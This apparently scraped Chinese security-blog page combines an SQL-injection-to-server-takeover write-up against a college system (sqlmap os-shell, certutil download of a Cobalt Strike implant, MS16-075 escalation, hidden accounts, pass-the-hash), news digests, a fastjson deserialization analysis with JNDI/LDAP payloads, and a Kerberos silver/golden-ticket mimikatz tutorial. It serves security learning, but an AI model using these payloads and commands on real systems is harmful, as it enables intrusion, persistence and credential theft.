某学院系统sql注入到服务器沦陷(bypss)
前言 前一段时间都在挖edu src,为了混几个证书,中间陆陆续续也挖到好几枚系统的通杀吧,不过资产都不多,都是黑盒测试出来的,没啥技术含量。只有这次挖到的这枚通杀稍微有那么一点点价值,从外网web一步步深入最后服务器提权,拿下整台服务器桌面权限。 本文涉及相关实操:https://www.hetianlab.co/expc.do?ec=ECIDee9320adea6e062017112114390500001 本实验介绍了SQL注入原理,解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。 1.信息搜集 日常广撒网挖通杀,常规流程,上fofa搜索关键字,xx大学xx系统,xx大学xx平台,一般就是这几个关键词,或者是直接搜body=”xx公司”,xx公司一定要是经常给学校做开发的,往往都是好几所学校用同一家公司的产品。然后就找到了这样一个系统  查了下归属,归属是某某学院,教育资产,通过各种语法,信息搜集,找到大概十多所学校都在用这个系统,因为语法太多了,这里随便搜了搜。  2.四处碰壁  正常的黑盒测试流程,看一下啥语言写的,ASP+IIS,很常规的配置,edu一般除了jsp就是asp了,很少见到php站,iis的站,若后续有文件上传的点,可以测测iis解析漏洞,老版本的iis洞还是挺多的。  既然是asp的站,那就上御剑,先来一顿目录爆破,asp、aspx勾选上,80w的大字典开跑, 一杯茶的功夫,目录爆破完毕,果不其然,啥也没跑出来。  一般这种情况的话,可以换一换要跑目录,因为它整个系统可能架设在一个特定命名的目录下,这里因为时间关系,就没跑了。 既然目录爆破不行,这系统打开就是登录点,那就爆破登陆点试一试,各种用户名都爆破了一遍  还是失败了,一个弱口令都没爆破出来,学号,工号爆破都试过了,没有一个成功的,目前为止,目录爆破,密码爆破都走不通。  Sql注入,post注入,常规操作,果然。。。。又是一片红,必然做了过滤,简单的fuzz了下sql语句饶了绕,还是失败。  各种操作都来了一波,啥也没挖到,在挖edu的这段时间里,经常遇到这种情况,都习惯了。  既然注入也没有,还有过滤,那就测测逻辑漏洞,右下角找回密码,我可太喜欢找回密码了,找回密码处就是逻辑漏洞的高发地点,一打一个准,   点进去是这样一个页面,挺简陋,越是简陋,就越好打,果断输入答案,抓包。  没啥好看的,要是返回包里是json格式的话,那还有得玩。反正我遇上的逻辑漏洞,都是前端验证传回来的json参数,改json实现绕过。  3.柳暗花明(发现sql注入) Sql注入,爆破,弱口令,逻辑漏洞都试过了,都失败了,正准备放弃的时候,我发现找回密码的时候,他这个系统有个特点,只要你一输入要找回的账户然后再换行,本来它设置问题那一栏是空的,在你输入完账号再换行时,它问题那一栏自动就出现了验证问题。   所以我推断,在用户输入完账号之后换行就触发了一个动作,这个动作会自动将用户输入的账号带入到后台,从后端获取这个账号的问题,然后再显示在前端,必然有数据交互的一个过程,既然有交互,那么这个点也可能存在注入的可能。 想到这里,打开burp,输入完账号之后不换行,切换至burp,抓包,然后再换行,触发动作,果然抓到了一个post包,请求内容正是账号   输入一个单引号,发现报错了,存在注入无疑了,这系统普通的登录点卡的死死的,还是被找到注入了,只不过这个注入的位置太奇葩了,一般人遇上waf就放弃了。  Sqlmap一把梭,发现是mssql,还是dba权限,不用想了,mssql+dba权限=xp_cmdshell,都不用进后台了。--os-shell   4.bypass上线cs并提权 过程就不放图了,简单描述一下,用的是certutil.exe -urlcache -split -f下载cs马,cs马在我的服务器上,刚开始下载文件的时候,报错,whoami一看,数据库权限,只读权限,没有写文件的权限,这可麻烦了 最后解决办法是,把cs马下载到mssqlserver用户的桌面目录下,其他路径没有执行下载的权限,在自己用户的桌面目录从有写文件的权限了吧?执行cs马,cs上线!  虽然拿到了shell,不过这个shell的权限实在太低了,dumphash报错,操作注册表就各种报错,反正啥操作的报错,因为权限太低  如今当务之急就是提权,先执行一下systeminfo、tasklist看看啥情况  Server 2012的机器,补丁实在打的有点多,吓人。Tasklist里也没发现有杀毒软件,估计是云waf 2012的机器内核漏洞算是最多的了,来来回回试了几个MS16-032/016,全打上补丁了,最后一个MS16-075,一把打穿,成功拿下system权限,2012的机器还是好提。  Bypass远程桌面组获取桌面控制权  执行一下netstat -ano发现开了3389端口,net user发现一堆的用户,这里就不放图了,不然篇幅实在太长了,简单的信息搜集之后,开始办正事,目标是桌面控制,上神器Mimikatz,抓一抓明文密码。这里稍微提一下,2021的机器是可以通过改注册表直接获取明文密码的,一抓发现管理员上次是5.3登录的,没抓到密码,只有hash   抓不到明文密码,那就新建用户,net user admin 123456 /add 新建用户,新建了一个admin 密码123456的用户。远程桌面连一下试试。  出现报错:“连接被拒绝,因为没有授权此用户帐户进行远程登录!以为就要成功了,这一个报错就像是当头一棒,找了找原因,是因为我新建的用户没有加入到远程桌面组,所以无法登录,  用net user把admin加入到远程桌面组之后,还是报错,我又修改注册表把防火墙关了,RDP规矩也放行了,无果..我猜可能是修改完配置之后要重启才会生效,我要是重启的话,这台服务器上的这套系统必然会瘫痪,重启是肯定不可取的。 在思想斗争了半天之后,我想到guest用户应该是默认就在远程桌面组的,我只要激活guest用户,那我就可以不重启就连3389了。  激活guest用户成功,密码123456,远程连接一下   一看到这个正在配置远程会话就知道稳了,3389成功上了桌面,guest权限,加了个隐藏账户,并手动加入到远程桌面组  5.RDP劫持失败 我们的目标是administrator的桌面控制权,但是密码抓不到,又不能重置administrator的密码,怎么拿下它的桌面? 这里我用了RDP劫持,上传一个psexec工具,然后获取一个system权限的cmd,因为只有system权限的命令行才能进行接管会话  首先query user查看会话ID(这里的图是我写文章的时候截的,所以登录时间是6-1)  然后再在system权限的命令行中执行tscon 2,发现失败,因为上次登录的时间已经超过三天了,凭证过期,无法劫持会话 6.PTH攻击实现利用hash登录 最后通过pth攻击 hash传递攻击拿下了administrator的桌面权限,具体如下 mimikatz命令: 执行后弹出远程登录界面,选择连接,成功实现无密码登录administrator  桌面长这样,mssql数据库管理页面还没退出  结尾 梳理一下过程:1.从外网信息搜集—2.到发现sql注入—3.到绕过权限上马—4.再到低权限提权—5.最后通过pth实现无密码登录administrator桌面,整个过程没有什么技术含量,都是很基本的操作,但是能学到很多,求各位大师傅轻喷,我觉得从发现问题到解决问题是一个很享受的过程,还有,最后拿到了程序的源码,审计后又发现了一处注入和未授权进后台,因为篇幅问题就不说了,漏洞已经打包提交至平台,最后,网安学习这条路任重道远,希望自己能走下去,少一点花里胡哨,踏踏实实学东西才是最重要的,不能觉得自己学了点皮毛就四处炫耀,保持适当的谦卑
网络安全日报 2021年06月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、越来越多的 STUN 服务器被 DDoS 攻击滥用 https://www.securityweek.com/organizations-warned-stun-servers-increasingly-abused-ddos-attacks 2、多款ICS产品使用的CODESYS软件存在严重漏洞 https://www.securityweek.com/serious-vulnerabilities-found-codesys-software-used-many-ics-products 3、研究人员发现新的恶意软件BlackCocaine Ransomware https://securityaffairs.co/wordpress/118617/malware/blackcocaine-ransomware.html 4、Colonial Pipeline遭攻击是因为员工密码泄露 https://www.bloombergquint.com/business/hackers-breached-colonial-pipeline-using-compromised-password 5、黑客扫描易受CVE-2021-21985 RCE攻击的 vCenter Server https://securityaffairs.co/wordpress/118594/hacking/hackers-vmware-vcenter-cve-2021-21985.html 6、APT28利用SkinnyBoy恶意软件入侵敏感组织 https://www.bleepingcomputer.com/news/security/new-skinnyboy-malware-used-by-russian-hackers-to-breach-sensitive-orgs/ 7、考克斯媒体集团广播和电视台遭到网络攻击 https://therecord.media/live-streams-go-down-across-cox-radio-tv-stations-in-apparent-ransomware-attack/ 8、Korenix更新修补了网络设备中的多个关键漏洞 https://portswigger.net/daily-swig/korenix-patches-multiple-critical-vulnerabilities-in-networking-devices 9、约170名东京奥运会工作人员的数据被黑客窃取 https://www.technadu.com/tokyo-olympics-organizers-data-stolen-hackers/281267/ 10、美国UF Health医院遭到网络攻击关闭部分网络 https://www.bleepingcomputer.com/news/security/uf-health-florida-hospitals-back-to-pen-and-paper-after-cyberattack/
java安全之fastjson链分析
前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞: 1.2.22<=version<=1.2.24 1.2.25<=version<=1.2.47 简述与使用 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f  (fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。) 项目地址:https://github.com/alibaba/fastjson 环境直接maven:  <dependencies>   ....    <dependency>      <groupId>com.alibaba</groupId>      <artifactId>fastjson</artifactId>      <version>1.2.22</version>    </dependency>  </dependencies> 首先是关于fastjson的序列化与反序列化过程中会调用到类的get跟set方法,一个自建类: package org.example; public class JsonTest {    private int _id;    private String _name;    private String _passwd;    public JsonTest(int _id, String _name, String _passwd) {        this._id = _id;        this._name = _name;        this._passwd = _passwd;   }    public JsonTest() {   }    public int get_id() {        System.out.println("get "+_id);        return _id;   }    public void set_id(int _id) {        System.out.println("set "+_id);        this._id = _id;   }    public String get_name() {        System.out.println("get "+_name);        return _name;   }    public void set_name(String _name) {        System.out.println("set "+_name);        this._name = _name;   }    public String get_passwd() {        System.out.println("get "+_passwd);        return _passwd;   }    public void set_passwd(String _passwd) {        System.out.println("set "+_passwd);        this._passwd = _passwd;   }    @Override    public String toString() {        return "JsonTest{" +                "_id=" + _id +                ", _name='" + _name + '\'' +                ", _passwd='" + _passwd + '\'' +                '}';   } } Main: public static void main(String[] args) {  JsonTest jsonTest = new JsonTest(1,"uname","passwd");  System.out.println("[1]================");  String str = JSON.toJSONString(jsonTest);  System.out.println("[2]================");  System.out.println(str);  System.out.println("[3]================");  Object jsonTest1 = JSON.parseObject(str,JsonTest.class);  System.out.println("[4]================");  System.out.println(jsonTest1); } 运行后得到了如下结果: [1]================ get 1 get uname get passwd [2]================ {"id":1,"name":"uname","passwd":"passwd"} [3]================ set 1 set uname set passwd [4]================ JsonTest{_id=1, _name='uname', _passwd='passwd'} 很明显的在序列化时会调用类中各属性的get方法,而反序列化时会调用其set方法。 在上述反序列化过程中需要多添加一个class类的参数:JsonTest.class 而fastjson也提供了一种无需指定类的方式,称为autotype,而这种autotype正是导致反序列化漏洞的原因。 给序列化过程的函数指定第二个参数: JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName); 此时能够得到一个指定了type的json串: {"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"} 再对其反序列化时就无需再指定对应的类了: Object jsonTest1 = JSON.parseObject(str); System.out.println(jsonTest1); 当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,从而调用危险类对目标机进行攻击,接下来分析一下其过程。 反序列化过程 先在JSON.parseObject处下个断点,跟入看看fastjson的反序列化过程。 首先进入到JSON.class中: 接着进入parse函数中: public static Object parse(String text) {        return parse(text, DEFAULT_PARSER_FEATURE);   } 使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入:    public static Object parse(String text, int features) {        if (text == null) {            return null;       } else {            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);            Object value = parser.parse();            parser.handleResovleTask(value);            parser.close();            return value;       }   } 其构造器中有如下:       int ch = lexer.getCurrent();        if (ch == '{') {            lexer.next();           ((JSONLexerBase)lexer).token = 12;       } else if (ch == '[') {            lexer.next();           ((JSONLexerBase)lexer).token = 14;       } else {            lexer.nextToken();       } 其会根据对应的{或[去设置token,之后通过scanSymbol来获取到@type,并且autotype它还支持如下形式嵌套的串: [   {       "@type": "xxx.xxx",       "xxx": "xxx"   },   {       "@type": "xxx.xxx",       "xxx": {           "@type": ""       }   },   {       "@type": "xxx"   } : "xx",   {       "@type": "xxx"   } : "xx" ] 其中对于字符串的还有如下对于双字节字符的处理: \u或\x即是unicode或者16进制,而还有其他的如\v等,有师傅做了https://xz.aliyun.com/t/7107: \0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\ 等,java字符串读入之后会变成两个字符,因此,fastjson会把它转换会单个字符 \f \F双字符都会转成单字符\f \v双字符转成\u000B单字符 \x..四字符16进制数读取转成单字符 \u....六字符16进制数读取转成单字符 这一个点其实可以用在某些filter的绕过上。 继续上面的scan,获取到@type后会继续获取到其类名,最后赋值给typeName,此时会进一步调用TypeUtils.loadClass去加载类: 之后会从mappings中尝试取出class类(mappings中存放的是一些内置类): 如下,取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。 接着进行反序列化: ObjectDeserializer deserializer = this.config.getDeserializer(clazz); thisObj = deserializer.deserialze(this, clazz, fieldName); return thisObj; 一路跟去会有一个denyList: 这一个list默认情况下只有一个Thread类: this.denyList = new String[]{"java.lang.Thread"}; 最后会去调用到set方法。 1.2.22-1.2.24 这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析。 JdbcRowSetImpl 首先该链有两种利用方式:RMI+JNDI和RMI+LDAP 其中我使用到的是jdk8u66,关于高版本的限制以及绕过方式可以参考: https://www.freebuf.com/column/207439.html前面说到反序列化会调用到set方法,而漏洞的产生正是因为set方法,直接拿payload打一下: public static void main(String[] args) {  String payload = " {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";  JSON.parse(payload); } 直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点: 直接进入到else中直接将datasource设置为我们传入的值,再在setAutoCommit中下个断点: 同样进入else,关键在于这里的connect调用了lookup: 最后就造成了JNDI注入,LDAP同样如此,修改一下协议即可。 Templateslmpl 前面的链就不跟了,体力活,主要是了解其原理,具体可以看看: https://www.cnblogs.com/afanti/p/10193158.htmlhttps://xz.aliyun.com/t/8979#toc-6payload我参考的是上面第二个链接,此处截取部分方便理解: {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"} 默认的知道以下划线开头是private属性,通过fastjson其实是无法直接赋值的,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,因此这条链实际作用不大,不过分析一下锻炼一下代码审计能力。 首先是对于下划线的处理,在JavaBeanDeserializer#smartMatch中会处理掉下划线,之后去调用对应的set方法,bytecodes在最后会进行base64解码,并且bytecode是binary,fastjson中不支持反序列化此类字符串,因此这也是其为base64字符串的原因,而对于_outputProperties这一个属性比较特殊,它调用到的不是set方法而是get方法,因此我着重跟一下它。 因为在调用set方法时都是经过FieldDeserializer#setValue,因此在此处下个断点。 跟到下面调用到了getOutputProperties方法是通过invoke,之后就执行命令了: 但method的来源还需要追究一下。 经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializers正是获取到getOutputProperties的关键: 在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debug能够发现获取一个set方法时是通过如下代码: 同样位于build函数下有一段获取getter的代码: 其中OutputProperties的getter就是从这里获取到,不过这还是无法解除关于为什么要获取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,而随后会对map调用putAll: Map map = (Map)method.invoke(object); if (map != null) {    map.putAll((Map)value); } 也就说如果一个json串: {"@type": "xxx.xxx", "hhhm": {"key": "value"}} 会需要将{"key": "value"}放入hhhm中,因此需要先调用get来获取到这一个map以便于后续的赋值。 跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在: AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); 经过一系列调用最后就到了TEMPOC中执行到RCE: BasicDataSource 省赛遇到的一道题才知道原来还有这条链,先mark下: http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/该链只能用于Fastjson 1.2.24及更低版本,使用范围相较于前两条链而言较小,链接处文章写的也很详细,不做过多叙述。 1.2.25-1.2.45部分绕过 直接拿着原来的链打会发现报错,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复: //1.2.24 Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); //1.2.25 Class<?> clazz = config.checkAutoType(typeName); autoTypeSupport默认修改为false: 需要通过如下方式开启: ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 并且有一个denylist,来过滤掉前面用到的链中的类: 部分手动开启autoType的绕过链就不分析了,绕过的点也比较容易看出,具体看https://xz.aliyun.com/t/9052 这部分绕过个人感觉适用于ctf中,不做分析了,下面贴一下payload。 1.2.25-1.2.41 {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true} 1.2.25-1.2.42 {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true} 1.2.25-1.2.43 {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true} 1.2.25-1.2.45 需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本 payload: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}} 1.2.25-1.2.47 这条链是通杀的,比较厉害的是其不需要开启AutoTypeSupport,相对于上面提到的绕过而言利用面广泛的多,因此着重分析一下。 该链在<1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32后五轮是否开启都可以利用。 payload: {    "a": {        "@type": "java.lang.Class",        "val": "com.sun.rowset.JdbcRowSetImpl"   },    "b": {        "@type": "com.sun.rowset.JdbcRowSetImpl",        "dataSourceName": "ldap://localhost:1389/Exploit",        "autoCommit": true   } } 前面提到在checkAutoType中有这么一个if: if (this.autoTypeSupport || expectClass != null) 因为autoTypeSupport默认为false,所以if内的代码都跳过了,而这条链的利用也无需这一个if,跟到后面: 这里的deserializers.findClass比较关键: 此处的this.buckets会发现其内置了很多的类,如: 那么问题也就是出在这里,我们目前传入的类是java.lang.class,而该类正处于这一个buckets中,而deserializers中有一个put方法,正是这一个方法将类放入白名单中从而避过了autotype的限制。 偏一下话题,稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法: 白名单中的类都在此处。 比较好奇的是此处的class类的作用,在对class类进行反序列化时,其调用链如下: deserializer#deserialze -> TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader()) //strVal=com.sun.rowset.JdbcRowSetImpl -> TypeUtils#loadClass(className, classLoader, true) //className=com.sun.rowset.JdbcRowSetImpl 此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过,其会尝试从mappings中取出类: Class<?> clazz = (Class)mappings.get(className); 在取不到时会调用类加载器去加载类,此时就取到了com.sun.rowset.JdbcRowSetImpl。 之后最致命的操作就是: mappings.put(className, clazz); 将com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是: 他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。 开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。 而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false: if (cache) {  mappings.put(className, clazz); } 此时就不会将class类装载进缓存中了。
网络安全日报 2021年06月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、CISA 发布针对威胁情报分析师的 MITRE ATT&CK 映射指南 https://www.securityweek.com/cisa-issues-mitre-attck-mapping-guide-threat-intelligence-analysts 2、思科修复 Webex 和 SD-WAN 中高风险安全漏洞 https://www.securityweek.com/cisco-plugs-high-risk-security-flaws-webex-sd-wan 3、FBI 确认 REvil 勒索软件攻击了 JBS Foods https://www.securityweek.com/fbi-confirms-revil-ransomware-involved-jbs-attack 4、趋势科技发布影响 macOS、iOS 的漏洞PoC https://www.securityweek.com/trend-micro-releases-poc-exploit-vulnerability-affecting-macos-ios 5、研究人员发现Rowhammer 攻击新技术 Half-Double https://cyware.com/news/half-double-a-new-variant-of-rowhammer-attack-eeb20e50 6、FireEye 以 12 亿美元出售其产品业务和品牌名 https://www.cnbc.com/2021/06/02/fireeye-selling-products-business-and-name-for-1point2-billion.html 7、Realtek RTL8170C Wi-Fi 模块多个漏洞可导致通信劫持和提权 https://securityaffairs.co/wordpress/118558/security/realtek-rtl8170c-wi-fi-module-flaws.html 8、FUJIFILM东京总部遭到网络攻击部分网络中断 https://www.bleepingcomputer.com/news/security/fujifilm-shuts-down-network-after-suspected-ransomware-attack/ 9、Accusoft ImageGear中存在多个安全漏洞 https://blog.talosintelligence.com/2021/06/vuln-spotlight-accusoft-.html 10、暴雪公司遭大规模DDoS攻击可能导致游戏高延迟 https://news.softpedia.com/news/blizzard-experiencing-ddos-attack-possible-high-latency-and-disconnections-533100.shtml
Kerberos协议及其利用
前言 之前就一直想着抽空学学内网渗透相关的东西,无奈被各种事情耽搁。。。刚好这两天闲下来,就把之前留的坑填一下。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001 (本实验主要介绍了windows server2003系统的域和DNS服务器的搭建,通过本实验的学习学会kerberos网络认证协议搭建方式。) Kerberos协议原理 啥是Kerberos? 一种双向的网络身份认证协议,通过使用加密技术为客户端/服务端应用程序提供强大的认证服务 基本概念 Principal 安全个体,具有唯一命名的客户端或服务器。命名规则:主名称+实例+领域,如:herlocky/mailto:admin@EXAMPLE.COM TGT 票据授予票据(Ticket Granting Ticket),包含客户端ID、客户端网络地址、票据有效期以及client/TGS会话密钥 Ticket 票据,一条包含客户端标识信息、会话密钥和时间戳的记录,客户端用它来向目标服务器认证自己 Session key 会话密钥,指两个安全个体之间使用的临时加密秘钥,其时效性取决于单点登录的会话时间长短 KDC Key分发中心(key distribution center),是一个提供票据(tickets)和临时会话密钥(session keys)的网络服务。KDC服务作为客户端和服务器端信赖的第三方,为其提供初始票据(initial ticket)服务和票据授予票据(ticket-granting ticket)服务,前半部分有时被称为AS,后半部分有时则被称为TGS AS 认证服务器(Authentication Server),KDC的一部分。通常会维护一个包含安全个体及其秘钥的数据库,用于身份认证 TGS 许可证服务器(Ticket Granting Server),KDC的一部分,根据客户端传来的TGT发放访问对应服务的票据 SS 特定服务的提供端(Service Server) 如何运作? 放一张图片可能比较好理解一些: 1.(在开启Kerboers协议的基础上)当客户端想访问服务器上的资源时,需要先向KDC发送认证请求,在发送认证请求的时候会根据自己的密码生成密钥,用密钥将发送的时间戳进行加密。(加密作用在于防止别人获取到信息后进行重放攻击) 2.1 KDC在接受到请求后,会先查看AS中是否有该账户的信息,使用相对应解密算法将时间戳解密,完成了A的身份认证。这里解释一下为啥会用到时间戳:因为在传输过程中,可能会被黑客进行截获,黑客在截获后如果想骗取认证的话需要进行数据包的再次发送,也就是重放攻击。重放攻击需要耗费一定时间,如果用时间戳作为衡量标准的话,当KDC解出时间戳和当前时间差别过大时,就不会再继续认证。 2.2 上文说到Kerboers是双向的认证,2.1是客户端向KDC证实身份,现在需要KDC向客户端证明身份。首先,KDC会生成一把专门用于KDC与A之间通信的密钥,并且用密钥加密自身,得到的这个玩意儿就是TGT。之后将时间戳、KDC生成的密钥、随机字符串使用客户端生成的密钥进行加密。 2.3.客户端在收到消息后,会使用自己最初生成的密钥来解密密文,得到KDC的密钥,并且证实其身份。 3.1 接下来客户端需要向KDC去认证服务器的身份,于是会将之前的TGT和KDC的密钥加密的信息与时间戳以及新的消息发送给KDC,KDC收到消息后会将TGT解密拿到密钥和加密的信息,达到验证客户端的目的。 4 KDC生成新的密钥 ,新密钥供客户端与服务器通信时使用,并且该密钥和客户端的信息会被服务器的密钥进行加密形成票据,原KDC生成的密钥对新密钥进行加密后,将票据和生成的新密文发送给客户端 5.1 客户端拿着KDC生成的新密钥加密信息和时间戳,再外加一个票据(TGS)去请求服务器 5.2 服务器用自己的私钥解开票据,拿到客户端和服务器之间的密钥以及信息,接着用该密钥解密客户端发来的密文,如果验证为真,就会将时间戳用客户端和服务器之间的密钥进行加密发给客户端。 6 客户端接收到服务器发送的信息后,解密查看时间戳完成对B的身份校验,完成认证过程。 ---------------------------------------------------------------------------------------------------分隔符--------------------------------------------------------------------------------------------------------- 用大白话来说可能会容易理解Kerboers协议,比如在学校的机房里(假设为域控环境),如果用户想在任意一台主机上进行操作,只需要有一个账户名密码即可。该账户名密码存于域控制器中,有别于我们平时使用的工作组,用户名密码不通过本机验证,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机(如telnet)则是通过SAM来进行NTLM验证。 记录一次不心酸的AD域控搭建 环境 VMware虚拟机:Windows 2012 R2,Windows 7 过程 搭建起来没想象中的复杂,主要是把服务器上的AD域和DNS服务器安装好,处理好服务器和主机之间互通的问题 直接按照这个博客搭建即可https://www.cnblogs.com/leixiao-/p/10579208.html,过程不再赘述。搭建域控环境目的还是为了复现Kerberos协议中的两种利用方式。 白银票据 原理 先拽一波英文,Silver Ticket(白银票据)主要是利用TGS,即六步认证过程中的第五步,客户端拿着票据向服务器中的某个服务发起请求,这时候的票据格式是这样的: Ticket=Server Hash(Server Session Key+Client info+End Time) 利用服务器端生成的密钥对Server Session Key、客户端的消息以及时间戳进行加密。因为服务器没有收到Server Session Key,并不知道我们要访问的究竟是何种服务,所以当我们知道Server Hash的时候,就可以去访问服务器中指定的服务。简单地说,就是生成了一个可以随时访问服务的后门。  利用条件 1.已知服务器的NTLM hash 2.仅对部分开放服务有效,如cifs(文件共享服务),mssql,winrm(windows远程管理),dns等等  实践过程 用的是红日安全的环境 192.168.52.138 域控服务器 192.168.52.143 客户端 mimikatz 工具 之前自己搭建的AD域环境有点问题,没复现成功,心塞。。。然后用红日的环境复现好了。拿到的客户端是管理员权限,域控的主机是普通用户权限。没详细研究怎么去打组合拳,先看看能不能利用一下白银票据。尝试用命令查询客户端共享目录的访问权限,发现无法访问: dir \\stu1.god.org\c$ 因为要伪造访问客户端的访问权限,所以我们可以在客户端中去拿到这个NTLM Hash: mimikatz log "privilege::debug" "sekurlsa::logonpasswords">log.txt 在log.txt中查看到 NTLM Hash: 然后我们还需要域的SID值,域的SID就是域成员的SID值去掉最后的 -数字 的部分,该域的SID值就是S-1-5-21-2952760202-1353902439-2381784089 可以在log.txt中查看,也可以用命令: whoami /user 最后一步,就是在域控主机中伪造票据,为了方便就直接进行伪造,写入域控主机内存。mimikatz 其实还可以把票据dump到本地,方便以后再使用。为了防止其他票据干扰,可以使用 kerberos::purge 把主机中其他票据删除。伪造命令: kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:stu1.god.org /rc4:55c330808522af0724598d8f48af2809 /service:cifs /user:stu1 /ptt 然后再次访问,成功: 最后,mimikatz之前没咋用过,简单看了一下是可以将内存中的密码都读出来,很强大。。有些密码没经过Hash处理,直接明文显示了。 黄金票据 原理 和白银票据不同,黄金票据利用点在于伪造TGT。伪造TGT的关键就在于获取KDC的哈希值,也就是KRBTGT账户的哈希值,伪造出TGT的话,后面就可以有效的获得目标主机任何的Kerberos服务。  利用条件 1.需要与KDC通信 2.需要krbtgt的hash  实践过程 依旧是红日安全的环境 Win2008R2(DC) IP:192.168.52.138 Win2003 IP:192.168.52.141 Win7 IP:192.168.52.143(内) mimikatz 工具 大大大前提:我们已经可以访问域控主机,接下来我们在域控上使用mimikatz进行票据提取。先导出KRBTGT账户的hash: lsadump::dcsync /domain owa /user:krbtgt 把信息提取出来: 安全账户管理器用户名:krbtgt krbtgt SID为:S-1-5-21-2952760202-1353902439-2381784089-502 krbtgt 的hash:58e91a5ac358d86513ab224312314061 查看一下域控主机当前用户: 接着回到win7主机上,我们要在win7主机中使用mimikatz,通过黄金票据获得域控主机权限。先启动mimikatz,借助kerberos::purge命令清除win7主机上的票据 接着利用前面获取到的信息伪造黄金票据: kerberos::golden /domain:owa.god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-502 /rc4:58e91a5ac358d86513ab224312314061 /user:krbtgt /ptt 再尝试一下能否访问远程文件共享 啊这,出现这个错误的时候在网上查了很多资料,也关闭了防火墙和windows defender还是出现上述问题。后面调用systeminfo命令看了一下,原来打补丁了啊,那没事了,如果没有补丁的话就可以继续对目标机器进行渗透,甚至可以用PSEXEC.exe进行反弹shell。关于红日安全靶场,在网上进行下载即可。
网络安全日报 2021年06月03日
